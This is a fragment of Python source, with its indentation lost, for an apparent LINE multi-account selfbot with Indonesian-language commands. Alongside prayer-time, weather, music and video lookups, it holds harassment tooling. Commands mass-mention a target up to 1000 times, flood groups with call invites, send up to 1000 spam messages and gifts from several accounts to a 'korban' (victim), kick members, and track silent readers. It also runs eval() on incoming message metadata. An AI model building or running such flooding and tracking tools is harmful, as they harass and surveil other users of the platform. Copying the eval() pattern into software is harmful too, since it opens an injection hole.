kk.sendMessage(msg.to, "ʀᴇᴀᴅʏ ʙᴏssᴋᴜ")
kc.sendMessage(msg.to, "ʀᴇᴀᴅʏ ʙᴏssᴋᴜ")
ko.sendMessage(msg.to, "ʀᴇᴀᴅʏ ʙᴏssᴋᴜ")
jk.sendMessage(msg.to, "ʀᴇᴀᴅʏ ʙᴏssᴋᴜ")
elif cmd == "as1":
if msg._from in admin:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventedJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki.acceptGroupInvitationByTicket(msg.to,Ticket)
G = ki.getGroup(msg.to)
G.preventedJoinByTicket = True
ki.updateGroup(G)
elif cmd == "as2":
if msg._from in admin:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventedJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
kk.acceptGroupInvitationByTicket(msg.to,Ticket)
G = kk.getGroup(msg.to)
G.preventedJoinByTicket = True
kk.updateGroup(G)
elif cmd == "as3":
if msg._from in admin:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventedJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
kc.acceptGroupInvitationByTicket(msg.to,Ticket)
G = kc.getGroup(msg.to)
G.preventedJoinByTicket = True
kc.updateGroup(G)
elif cmd == "as4":
if msg._from in admin:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventedJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ko.acceptGroupInvitationByTicket(msg.to,Ticket)
G = ko.getGroup(msg.to)
G.preventedJoinByTicket = True
ko.updateGroup(G)
elif cmd == "js in":
if msg._from in admin:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventedJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
sw.acceptGroupInvitationByTicket(msg.to,Ticket)
G = sw.getGroup(msg.to)
G.preventedJoinByTicket = True
sw.updateGroup(G)
elif cmd == "js out":
if msg._from in admin:
G = sw.getGroup(msg.to)
sw.sendMessage(msg.to, "🔹ɢᴏᴏᴅ ʙʏᴇ🔹\n "+str(G.name))
sw.leaveGroup(msg.to)
elif cmd == "lali":
if wait["selfbot"] == True:
if msg._from in admin:
get_profile_time_start = time.time()
get_profile = cl.getProfile()
get_profile_time = time.time() - get_profile_time_start
get_group_time_start = time.time()
get_group = cl.getGroupIdsJoined()
get_group_time = time.time() - get_group_time_start
get_contact_time_start = time.time()
get_contact = cl.getContact(mid)
get_contact_time = time.time() - get_contact_time_start
sendTextTemplate(msg.to, " 🔹ᴋᴇᴄᴇᴘᴀᴛᴀɴ ʀᴇsᴘᴏɴ🔹\n\n🔹ɢᴇᴛ ᴘʀᴏғɪʟᴇ\n🔹 %.10f\n🔹ɢᴇᴛ ᴄᴏɴᴛᴀᴄᴛ\n🔹 %.10f\n🔹ɢᴇᴛ ɢʀᴏᴜᴘ\n🔹 %.10f" % (get_profile_time/3,get_contact_time/3,get_group_time/3))
elif cmd == ".speed" or cmd == "sp bot":
if wait["selfbot"] == True:
if msg._from in admin:
start = time.time()
elapsed_time = time.time() - start
cl.sendMessage(msg.to, "{} ᴅᴇᴛɪᴋ".format(str(elapsed_time/10)))
ki.sendMessage(msg.to, "{} ᴅᴇᴛɪᴋ".format(str(elapsed_time/10)))
kk.sendMessage(msg.to, "{} ᴅᴇᴛɪᴋ".format(str(elapsed_time/10)))
kc.sendMessage(msg.to, "{} ᴅᴇᴛɪᴋ".format(str(elapsed_time/10)))
ko.sendMessage(msg.to, "{} ᴅᴇᴛɪᴋ".format(str(elapsed_time/10)))
jk.sendMessage(msg.to, "{} ᴅᴇᴛɪᴋ".format(str(elapsed_time/10)))
elif cmd == "speed" or cmd == "sp":
if wait["selfbot"] == True:
if msg._from in admin:
get_profile_time_start = time.time()
get_profile = cl.getProfile()
get_profile_time = time.time() - get_profile_time_start
sendTextTemplate(msg.to, "ᴡᴀɪᴛ...")
sendTextTemplate(msg.to, "╭───────────────────╮\n%.10f cannibal\n╰───────────────────╯" % (get_profile_time/3))
elif cmd == "lurking on":
if wait["selfbot"] == True:
if msg._from in admin:
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
Setmain['RAreadPoint'][msg.to] = msg_id
Setmain['RAreadMember'][msg.to] = {}
sendTextTemplate(msg.to, "♦️Lurking berhasil diaktifkan\n\nTanggal : "+ datetime.strftime(timeNow,'%Y-%m-%d')+"\nJam [ "+ datetime.strftime(timeNow,'%H:%M:%S')+" ]")
elif cmd == "lurking off":
if wait["selfbot"] == True:
if msg._from in admin:
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
del Setmain['RAreadPoint'][msg.to]
del Setmain['RAreadMember'][msg.to]
sendTextTemplate(msg.to, "♦️Lurking berhasil dinoaktifkan\n\nTanggal : "+ datetime.strftime(timeNow,'%Y-%m-%d')+"\nJam [ "+ datetime.strftime(timeNow,'%H:%M:%S')+" ]")
elif cmd == "lurkers":
if msg._from in admin:
if msg.to in Setmain['RAreadPoint']:
if Setmain['RAreadMember'][msg.to] != {}:
aa = []
for x in Setmain['RAreadMember'][msg.to]:
aa.append(x)
try:
arrData = ""
textx = " [ Result {} member ] \n\n [ Lurkers ]\n1. ".format(str(len(aa)))
arr = []
no = 1
b = 1
for i in aa:
b = b + 1
end = "\n"
mention = "@x\n"
slen = str(len(textx))
elen = str(len(textx) + len(mention) - 1)
arrData = {'S':slen, 'E':elen, 'M':i}
arr.append(arrData)
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
textx += mention
if no < len(aa):
no += 1
textx += str(b) + ". "
else:
try:
no = "[ {} ]".format(str(cl.getGroup(msg.to).name))
except:
no = " "
msg.to = msg.to
msg.text = textx+"\nTanggal : "+ datetime.strftime(timeNow,'%Y-%m-%d')+"\nJam [ "+ datetime.strftime(timeNow,'%H:%M:%S')+" ]"
msg.contentMetadata = {'MENTION': str('{"MENTIONEES":' + json.dumps(arr) + '}')}
msg.contentType = 0
cl.sendMessage1(msg)
except:
pass
try:
del Setmain['RAreadPoint'][msg.to]
del Setmain['RAreadMember'][msg.to]
except:
pass
Setmain['RAreadPoint'][msg.to] = msg.id
Setmain['RAreadMember'][msg.to] = {}
else:
sendTextTemplate(msg.to, "User kosong...")
else:
sendTextTemplate(msg.to, "Ketik lurking on dulu")
elif cmd == "janda on":
if wait["selfbot"] == True:
if msg._from in admin:
try:
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
sendTextTemplate(msg.to, "🔹ᴄᴇᴋ ᴊᴀɴᴅᴀ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹\n\n🔹ᴛᴀɴɢɢᴀʟ : "+ datetime.strftime(timeNow,'%Y-%m-%d')+"\n🔹ᴊᴀᴍ [ "+ datetime.strftime(timeNow,'%H:%M:%S')+" ]")
del cctv['point'][msg.to]
del cctv['sidermem'][msg.to]
del cctv['cyduk'][msg.to]
except:
pass
cctv['point'][msg.to] = msg.id
cctv['sidermem'][msg.to] = ""
cctv['cyduk'][msg.to]=True
elif cmd == "janda off":
if wait["selfbot"] == True:
if msg._from in admin:
if msg.to in cctv['point']:
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
cctv['cyduk'][msg.to]=False
sendTextTemplate(msg.to, "🔹ᴄᴇᴋ ᴊᴀɴᴅᴀ ᴅɪ ᴍᴀᴛɪᴋᴀɴ🔹\n\n🔹ᴛᴀɴɢɢᴀʟ : "+ datetime.strftime(timeNow,'%Y-%m-%d')+"\n🔹ᴊᴀᴍ [ "+ datetime.strftime(timeNow,'%H:%M:%S')+" ]")
else:
sendTextTemplate(msg.to, "🔹sᴜᴅᴀʜ ᴛɪᴅᴀᴋ ᴀᴋᴛɪғ🔹")
#===========Hiburan============#
elif cmd.startswith("sholat: "):
if msg._from in admin:
sep = text.split(" ")
location = text.replace(sep[0] + " ","")
with requests.session() as web:
web.headers["user-agent"] = random.choice(settings["userAgent"])
r = web.get("http://api.corrykalam.net/apisholat.php?lokasi={}".format(urllib.parse.quote(location)))
data = r.text
data = json.loads(data)
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
if data[1] != "Subuh : " and data[2] != "Dzuhur : " and data[3] != "Ashar : " and data[4] != "Maghrib : " and data[5] != "Isha : ":
ret_ = "「Jadwal Sholat」"
ret_ += "\n♦️ Lokasi : " + data[0]
ret_ += "\n♦️ " + data[1]
ret_ += "\n♦️ " + data[2]
ret_ += "\n♦️ " + data[3]
ret_ += "\n♦️ " + data[4]
ret_ += "\n♦️ " + data[5]
ret_ += "\n\nTanggal : " + datetime.strftime(timeNow,'%Y-%m-%d')
ret_ += "\nJam : " + datetime.strftime(timeNow,'%H:%M:%S')
sendTextTemplate3(msg.to, str(ret_))
elif cmd.startswith("cuaca: "):
if msg._from in admin:
separate = text.split(" ")
location = text.replace(separate[0] + " ","")
with requests.session() as web:
web.headers["user-agent"] = random.choice(settings["userAgent"])
r = web.get("http://api.corrykalam.net/apicuaca.php?kota={}".format(urllib.parse.quote(location)))
data = r.text
data = json.loads(data)
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
if "result" not in data:
ret_ = "♦️Status Cuaca♦️"
ret_ += "\n♦️ Lokasi : " + data[0].replace("❄Temperatur di kota ","")
ret_ += "\n♦️ Suhu : " + data[1].replace("⛄Suhu : ","") + " C"
ret_ += "\n♦️ Kelembaban : " + data[2].replace("💧Kelembaban : ","") + " %"
ret_ += "\n♦️ Tekanan udara : " + data[3].replace("☁Tekanan udara : ","") + " HPa"
ret_ += "\n♦️ Kecepatan angin : " + data[4].replace("🌀Kecepatan angin : ","") + " m/s"
ret_ += "\n\n♦️Tanggal : " + datetime.strftime(timeNow,'%Y-%m-%d')
ret_ += "\n♦️Jam : " + datetime.strftime(timeNow,'%H:%M:%S')
sendTextTemplate3(msg.to, str(ret_))
elif cmd.startswith("lokasi: "):
if msg._from in admin:
separate = msg.text.split(" ")
location = msg.text.replace(separate[0] + " ","")
with requests.session() as web:
web.headers["user-agent"] = random.choice(settings["userAgent"])
r = web.get("http://api.corrykalam.net/apiloc.php?lokasi={}".format(urllib.parse.quote(location)))
data = r.text
data = json.loads(data)
if data[0] != "" and data[1] != "" and data[2] != "":
link = "https://www.google.co.id/maps/@{},{},15z".format(str(data[1]), str(data[2]))
ret_ = "♦️Info Lokasi♦️"
ret_ += "\n ♦️Location : " + data[0]
ret_ += "\n ♦️Google Maps : " + link
else:
ret_ = "[Details Location] Error : Location not found"
sendTextTemplate3(msg.to,str(ret_))
elif cmd.startswith("lirik: "):
if msg._from in admin:
sep = msg.text.split(" ")
search = msg.text.replace(sep[0] + " ","")
params = {'songname': search}
with requests.session() as web:
web.headers["User-Agent"] = random.choice(settings["userAgent"])
r = web.get("https://ide.fdlrcn.com/workspace/yumi-apis/joox?{}".format(urllib.parse.urlencode(params)))
try:
data = json.loads(r.text)
for song in data:
songs = song[5]
lyric = songs.replace('ti:','Title - ')
lyric = lyric.replace('ar:','Artist - ')
lyric = lyric.replace('al:','Album - ')
removeString = "[1234567890.:]"
for char in removeString:
lyric = lyric.replace(char,'')
ret_ = "╔══[ Lyric🎵 ]═════════"
ret_ += "\n╠➩ Nama lagu : {}".format(str(song[0]))
ret_ += "\n╠➩ Durasi : {}".format(str(song[1]))
ret_ += "\n╠➩ Link : {}".format(str(song[3]))
ret_ += "\n╚══[ Finish ]═════════\n\nLirik nya :\n{}".format(str(lyric))
cl.sendMessage(msg.to, str(ret_))
except:
sendTextTemplate(to, "♦️Lirik tidak ditemukan")
elif cmd.startswith("music "):
if msg._from in admin:
sep = msg.text.split(" ")
query = msg.text.replace(sep[0] + " ","")
cond = query.split("-")
search = str(cond[0])
with requests.session() as web:
web.headers["User-Agent"] = random.choice(settings["userAgent"])
result = web.get("http://api.ntcorp.us/joox/search?q={}".format(str(search)))
data = result.text
data = json.loads(data)
if len(cond) == 1:
num = 0
ret_ = "「 Pencarian Musik 」\n"
for music in data["result"]:
num += 1
ret_ += "\n {}. {}".format(str(num), str(music["single"]))
ret_ += "\n\n「 Total {} Pencarian 」".format(str(len(data["result"])))
cl.sendMessage(to, str(ret_))
sendMention(msg.to, msg._from,"","\nJika ingin menggunakan,\nSilahkan gunakan:\n\nMusik penyanyi-angka")
if len(cond) == 2:
num = int(cond[1])
if num <= len(data["result"]):
music = data["result"][num - 1]
with requests.session() as web:
web.headers["User-Agent"] = random.choice(settings["userAgent"])
result = web.get("http://api.ntcorp.us/joox/song_info?sid={}".format(str(music["sid"])))
data = result.text
data = json.loads(data)
if data["result"] != []:
ret_ = "「 Pencarian Musik 」"
ret_ += "\n♦️Judul : {}".format(str(data["result"]["song"]))
ret_ += "\n♦️ Album : {}".format(str(data["result"]["album"]))
ret_ += "\n♦️ Ukuran : {}".format(str(data["result"]["size"]))
ret_ += " \n♦️ Link Musik : {}".format(str(data["result"]["mp3"]))
ret_ += "\n「 Tunggu Musiknya Keluar 」"
cl.sendImageWithURL(to, str(data["result"]["img"]))
cl.sendMessage(to, str(ret_))
cl.sendAudioWithURL(to, str(data["result"]["mp3"][0]))
elif cmd.startswith("music: "):
if msg._from in admin:
sep = msg.text.split(" ")
search = msg.text.replace(sep[0] + " ","")
params = {'songname': search}
with requests.session() as web:
web.headers["User-Agent"] = random.choice(settings["userAgent"])
r = web.get("https://ide.fdlrcn.com/workspace/yumi-apis/joox?{}".format(urllib.parse.urlencode(params)))
try:
data = json.loads(r.text)
for song in data:
ret_ = "╔══( 〘 ᴍᴜsɪᴄ 〙)═══════"
ret_ += "\n╠ ᴊᴜᴅᴜʟ ʟᴀɢᴜ: {}".format(str(song[0]))
ret_ += "\n╠ ᴅᴜʀᴀsɪ: {}".format(str(song[1]))
ret_ += "\n╠ ʟɪɴᴋ: {}".format(str(song[3]))
ret_ += "\n╚══(〘 ᴡᴀɪᴛ ᴀᴜᴅɪᴏ 〙)═══════"
cl.sendMessage(msg.to, str(ret_))
cl.sendMessage(msg.to, "sᴀʙᴀʀ sᴇʙᴇɴᴛᴀʀ ʟᴀɢɪ ʟᴏᴀᴅɪɴɢ")
cl.sendAudioWithURL(msg.to, song[3])
except:
cl.sendMessage(to, "ᴍᴜsɪᴄ ᴇʀʀᴏʀ")
elif cmd.startswith("gimage: "):
if msg._from in admin:
sep = msg.text.split(" ")
search = msg.text.replace(sep[0] + " ","")
url = "https://api.xeonwz.ga/api/image/google?q={}".format(urllib.parse.quote(search))
with requests.session() as web:
web.headers["User-Agent"] = random.choice(settings["userAgent"])
r = web.get(url)
data = r.text
data = json.loads(data)
if data["data"] != []:
start = timeit.timeit()
items = data["data"]
path = random.choice(items)
a = items.index(path)
b = len(items)
cl.sendMessage(msg.to,"「Google Image」\nType : Search Image\nTime taken : %seconds" % (start))
cl.sendImageWithURL(msg.to, str(path))
elif cmd.startswith("Abimp4: "):
if msg._from in admin:
try:
sep = msg.text.split(" ")
textToSearch = msg.text.replace(sep[0] + " ","")
query = urllib.parse.quote(textToSearch)
search_url="https://www.youtube.com/results?search_query="
mozhdr = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3'}
sb_url = search_url + query
sb_get = requests.get(sb_url, headers = mozhdr)
soupeddata = BeautifulSoup(sb_get.content, "html.parser")
yt_links = soupeddata.find_all("a", class_ = "yt-uix-tile-link")
x = (yt_links[1])
yt_href = x.get("href")
yt_href = yt_href.replace("watch?v=", "")
qx = "https://youtu.be" + str(yt_href)
vid = pafy.new(qx)
stream = vid.streams
best = vid.getbest()
best.resolution, best.extension
for s in stream:
me = best.url
hasil = ""
title = "ᴊᴜᴅᴜʟ〘 " + vid.title + " 〙"
author = '\n\nᴀᴜᴛʜᴏʀ : ' + str(vid.author)
durasi = '\nᴅᴜʀᴀsɪ : ' + str(vid.duration)
suka = '\nʟɪᴋᴇ : ' + str(vid.likes)
rating = '\nʀᴀᴛɪɴɢ : ' + str(vid.rating)
deskripsi = '\nᴅᴇsᴋʀɪᴘsɪ : ' + str(vid.description)
cl.sendVideoWithURL(msg.to, me)
cl.sendMessage(msg.to,title+ author+ durasi+ suka+ rating+ deskripsi)
except Exception as e:
cl.sendMessage(msg.to,str(e))
elif cmd.startswith("Abimp3: "):
if msg._from in admin:
try:
sep = msg.text.split(" ")
textToSearch = msg.text.replace(sep[0] + " ","")
query = urllib.parse.quote(textToSearch)
search_url="https://www.youtube.com/results?search_query="
mozhdr = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3'}
sb_url = search_url + query
sb_get = requests.get(sb_url, headers = mozhdr)
soupeddata = BeautifulSoup(sb_get.content, "html.parser")
yt_links = soupeddata.find_all("a", class_ = "yt-uix-tile-link")
x = (yt_links[1])
yt_href = x.get("href")
yt_href = yt_href.replace("watch?v=", "")
qx = "https://youtu.be" + str(yt_href)
vid = pafy.new(qx)
stream = vid.streams
bestaudio = vid.getbestaudio()
bestaudio.bitrate
best = vid.getbest()
best.resolution, best.extension
for s in stream:
shi = bestaudio.url
me = best.url
vin = s.url
hasil = ""
title = "♦️ᴊᴜᴅᴜʟ ♦️〘 " + vid.title + " 〙"
author = '\n\n♦️ ᴀᴜᴛʜᴏʀ : ' + str(vid.author)
durasi = '\n♦️ ᴅᴜʀᴀsɪ : ' + str(vid.duration)
suka = '\n♦️ ʟɪᴋᴇ : ' + str(vid.likes)
rating = '\n♦️ ʀᴀᴛɪɴɢ : ' + str(vid.rating)
deskripsi = '\n♦️ ᴅᴇsᴋʀɪᴘ : ' + str(vid.description)
cl.sendImageWithURL(msg.to, me)
cl.sendAudioWithURL(msg.to, shi)
cl.sendText(msg.to,title+ author+ durasi+ suka+ rating+ deskripsi)
except Exception as e:
cl.sendText(msg.to,str(e))
elif cmd.startswith("profileig: "):
if msg._from in admin:
try:
sep = msg.text.split(" ")
instagram = msg.text.replace(sep[0] + " ","")
response = requests.get("https://www.instagram.com/"+instagram+"?__a=1")
data = response.json()
namaIG = str(data['user']['full_name'])
bioIG = str(data['user']['biography'])
mediaIG = str(data['user']['media']['count'])
verifIG = str(data['user']['is_verified'])
usernameIG = str(data['user']['username'])
followerIG = str(data['user']['followed_by']['count'])
profileIG = data['user']['profile_pic_url_hd']
privateIG = str(data['user']['is_private'])
followIG = str(data['user']['follows']['count'])
link = "♦️ Link : " + "https://www.instagram.com/" + instagram
text = "♦️ Name : "+namaIG+"\n♦️ Username : "+usernameIG+"\n♦️ Biography : "+bioIG+"\n♦️ Follower : "+followerIG+"\n♦️ Following : "+followIG+"\n♦️ Post : "+mediaIG+"\n♦️ Verified : "+verifIG+"\n♦️ Private : "+privateIG+"" "\n" + link
cl.sendImageWithURL(msg.to, profileIG)
cl.sendMessage(msg.to, str(text))
except Exception as e:
cl.sendMessage(msg.to, str(e))
elif cmd.startswith("cekdate: "):
if msg._from in admin:
sep = msg.text.split(" ")
tanggal = msg.text.replace(sep[0] + " ","")
r=requests.get('https://script.google.com/macros/exec?service=AKfycbw7gKzP-WYV2F5mc9RaR7yE3Ve1yN91Tjs91hp_jHSE02dSv9w&nama=ervan&tanggal='+tanggal)
data=r.text
data=json.loads(data)
lahir = data["data"]["lahir"]
usia = data["data"]["usia"]
ultah = data["data"]["ultah"]
zodiak = data["data"]["zodiak"]
sendTextTemplate3(msg.to,"♦️ I N F O R M A S I ♦️\n\n"+"♦️ Date Of Birth : "+lahir+"\n♦️ Age : "+usia+"\n♦️ Ultah : "+ultah+"\n♦️ Zodiak : "+zodiak)
elif cmd.startswith("jumlah: "):
if wait["selfbot"] == True:
if msg._from in admin:
proses = text.split(":")
strnum = text.replace(proses[0] + ":","")
num = int(strnum)
Setmain["RAlimit"] = num
sendTextTemplate(msg.to,"🔹ᴛᴏᴛᴀʟ sᴛᴀɢ ᴅɪ ʀᴜʙᴀʜ ᴊᴀᴅɪ " +strnum)
elif cmd.startswith("spamcall: "):
if wait["selfbot"] == True:
if msg._from in admin:
proses = text.split(":")
strnum = text.replace(proses[0] + ":","")
num = int(strnum)
wait["limit"] = num
sendTextTemplate(msg.to,"🔹ᴛᴏᴛᴀʟ sᴘᴀᴍᴄᴀʟʟ ᴅɪ ʀᴜʙᴀʜ ᴊᴀᴅɪ " +strnum)
elif cmd.startswith("stag "):
if wait["selfbot"] == True:
if msg._from in admin:
if 'MENTION' in msg.contentMetadata.keys()!=None:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
zx = ""
zxc = " "
zx2 = []
pesan2 = "@a"" "
xlen = str(len(zxc))
xlen2 = str(len(zxc)+len(pesan2)-1)
zx = {'S':xlen, 'E':xlen2, 'M':key1}
zx2.append(zx)
zxc += pesan2
msg.contentType = 0
msg.text = zxc
lol = {'MENTION':str('{"MENTIONEES":'+json.dumps(zx2).replace(' ','')+'}')}
msg.contentMetadata = lol
jmlh = int(Setmain["RAlimit"])
if jmlh <= 1000:
for x in range(jmlh):
try:
cl.sendMessage(msg)
except Exception as e:
cl.sendMessage(msg.to,str(e))
else:
sendTextTemplate(msg.to,"🔹ᴊᴜᴍʟᴀʜ ᴍᴇʟᴇʙɪʜɪ 1000♦️")
elif cmd == "spamcall":
if wait["selfbot"] == True:
if msg._from in admin:
if msg.toType == 2:
group = cl.getGroup(to)
members = [mem.mid for mem in group.members]
jmlh = int(wait["limit"])
cl.sendMessage(msg.to, "🔹ᴅᴏɴᴇ ᴍᴇɴɢᴜɴᴅᴀɴɢ {} ᴘᴀɴɢɢɪʟᴀɴ ɢʀᴏᴜᴘ♦️".format(str(wait["limit"])))
if jmlh <= 1000:
for x in range(jmlh):
try:
cl.acquireGroupCallRoute(to)
cl.inviteIntoGroupCall(to, contactIds=members)
except Exception as e:
cl.sendText(msg.to,str(e))
else:
sendTextTemplate(msg.to,"Jumlah melebihi batas")
elif 'Gift: ' in msg.text:
if wait["selfbot"] == True:
if msg._from in admin:
korban = msg.text.replace('Gift: ','')
korban2 = korban.split()
midd = korban2[0]
jumlah = int(korban2[1])
if jumlah <= 1000:
for var in range(0,jumlah):
cl.sendMessage(midd, None, contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58', 'PRDTYPE': 'THEME', 'MSGTPL': '6'}, contentType=9)
ki.sendMessage(midd, None, contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58', 'PRDTYPE': 'THEME', 'MSGTPL': '6'}, contentType=9)
kk.sendMessage(midd, None, contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58', 'PRDTYPE': 'THEME', 'MSGTPL': '6'}, contentType=9)
kc.sendMessage(midd, None, contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58', 'PRDTYPE': 'THEME', 'MSGTPL': '6'}, contentType=9)
elif 'Spam: ' in msg.text:
if wait["selfbot"] == True:
if msg._from in admin:
korban = msg.text.replace('Spam: ','')
korban2 = korban.split()
midd = korban2[0]
jumlah = int(korban2[1])
if jumlah <= 1000:
for var in range(0,jumlah):
cl.sendMessage(midd, str(Setmain["RAmessage1"]))
ki.sendMessage(midd, str(Setmain["RAmessage1"]))
kk.sendMessage(midd, str(Setmain["RAmessage1"]))
kc.sendMessage(midd, str(Setmain["RAmessage1"]))
elif 'ID line: ' in msg.text:
if wait["selfbot"] == True:
if msg._from in admin:
msgs = msg.text.replace('ID line: ','')
conn = cl.findContactsByUserid(msgs)
if True:
cl.sendMessage(msg.to, "http://line.me/ti/p/~" + msgs)
cl.sendMessage(msg.to, None, contentMetadata={'mid': conn.mid}, contentType=13)
#===========Protection============#
elif 'Welcome ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Welcome ','')
if spl == 'on':
if msg.to in welcome:
msgs = "sᴀᴍʙᴜᴛᴀɴ ᴀᴋᴛɪғ"
else:
welcome.append(msg.to)
ginfo = cl.getGroup(msg.to)
msgs = "🔹sᴀᴍʙᴜᴛᴀɴ sᴜᴅᴀʜ ᴀᴋᴛɪғ🔹\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
sendTextTemplate(msg.to, "ᴀᴋᴛɪғ\n" + msgs)
elif spl == 'off':
if msg.to in welcome:
welcome.remove(msg.to)
ginfo = cl.getGroup(msg.to)
msgs = "🔹sᴀᴍʙᴜᴛᴀɴ ᴍᴀᴛɪ🔹\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
else:
msgs = "🔹sᴀᴍʙᴜᴛᴀɴ sᴜᴅᴀʜ ᴍᴀᴛɪ🔹"
sendTextTemplate(msg.to, "🔹ᴛᴇᴡᴀs🔹\n" + msgs)
elif 'Js ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Js ','')
if spl == 'on':
if msg.to in protectantijs:
msgs = "🔹sɪᴀᴘ ʙᴀɴᴛᴀɪ ᴋɪᴋɪʟ ᴛᴇᴍᴘᴇ"
else:
protectantijs.append(msg.to)
ginfo = cl.getGroup(msg.to)
msgs = "🔹ᴀɴᴛɪ ᴊs ᴅɪ ᴀᴋᴛɪғᴋᴀɴ\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
sendTextTemplate(msg.to, "🔹sᴜᴄᴄᴇs ᴅɪ ᴀᴋᴛɪғᴋᴀɴ\n" + msgs)
elif spl == 'off':
if msg.to in protectantijs:
protectantijs.remove(msg.to)
ginfo = cl.getGroup(msg.to)
msgs = "🔹ᴀɴᴛɪ ᴊs ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
else:
msgs = ""
sendTextTemplate(msg.to, "🔹sᴜᴅᴀʜ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ\n" + msgs)
elif 'Gs ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Ghost ','')
if spl == 'on':
if msg.to in ghost:
msgs = "🔹sɪᴀᴘ ʙᴀɴᴛᴀɪ ᴋɪᴋɪʟ ᴛᴇᴍᴘᴇ"
else:
ghost.append(msg.to)
ginfo = cl.getGroup(msg.to)
msgs = "🔹sᴜᴄᴄᴇs ɢʜᴏsᴛ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
sendTextTemplate(msg.to, "🔹sᴜᴅᴀʜ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ" + msgs)
elif spl == 'off':
if msg.to in ghost:
ghost.remove(msg.to)
ginfo = cl.getGroup(msg.to)
msgs = "🔹sᴜᴄᴄᴇs ɴᴏɴᴀᴋᴛɪғᴋᴀɴ ɢʜᴏsᴛ\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
else:
msgs = ""
sendTextTemplate(msg.to, "🔹ɢʜᴏsᴛ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ\n" + msgs)
elif 'Allprotect ' in msg.text:
if msg._from in admin:
spl = msg.text.replace('Allprotect ','')
if spl == 'on':
if msg.to in protectqr:
msgs = ""
else:
protectqr.append(msg.to)
if msg.to in protectkick:
msgs = ""
else:
protectkick.append(msg.to)
if msg.to in protectjoin:
msgs = ""
else:
protectjoin.append(msg.to)
if msg.to in protectcancel:
ginfo = cl.getGroup(msg.to)
msgs = "🔹sᴇᴍᴜᴀ ᴘʀᴏ sᴜᴅᴀʜ ᴅɪ ᴀᴋᴛɪғᴋᴀɴ🔹\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
else:
protectcancel.append(msg.to)
ginfo = cl.getGroup(msg.to)
msgs = "🔹ᴅᴏɴᴇ ᴍᴇɴɢᴀᴋᴛɪғᴋᴀɴ ᴘʀᴏ🔹\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
sendTextTemplate(msg.to, "sᴇᴍᴜᴀ ᴘʀᴏ ᴀᴋᴛɪғ\n" + msgs)
elif spl == 'off':
if msg.to in protectqr:
protectqr.remove(msg.to)
else:
msgs = ""
if msg.to in protectkick:
protectkick.remove(msg.to)
else:
msgs = ""
if msg.to in protectjoin:
protectjoin.remove(msg.to)
else:
msgs = ""
if msg.to in protectcancel:
protectcancel.remove(msg.to)
ginfo = cl.getGroup(msg.to)
msgs = "🔹ᴅᴏɴᴇ ᴍᴇɴᴏɴᴀᴋᴛɪғᴋᴀɴ ᴘʀᴏ🔹\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
else:
ginfo = cl.getGroup(msg.to)
msgs = "🔹sᴇᴍᴜᴀ ᴘʀᴏ sᴜᴅᴀʜ ᴅɪ ɴᴏɴᴀᴋᴛɪғᴋᴀɴ🔹\n🔹ᴅɪ ɢʀᴏᴜᴘ : " +str(ginfo.name)
sendTextTemplate(msg.to, "sᴇᴍᴜᴀ ᴘʀᴏ ᴅɪ ᴍᴀᴛɪᴋᴀɴ\n" + msgs)
#=========== KICKOUT ============#
elif ("babat " in msg.text):
if wait["selfbot"] == True:
if msg._from in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
if target not in Bots:
try:
G = cl.getGroup(msg.to)
G.preventedJoinByTicket = False
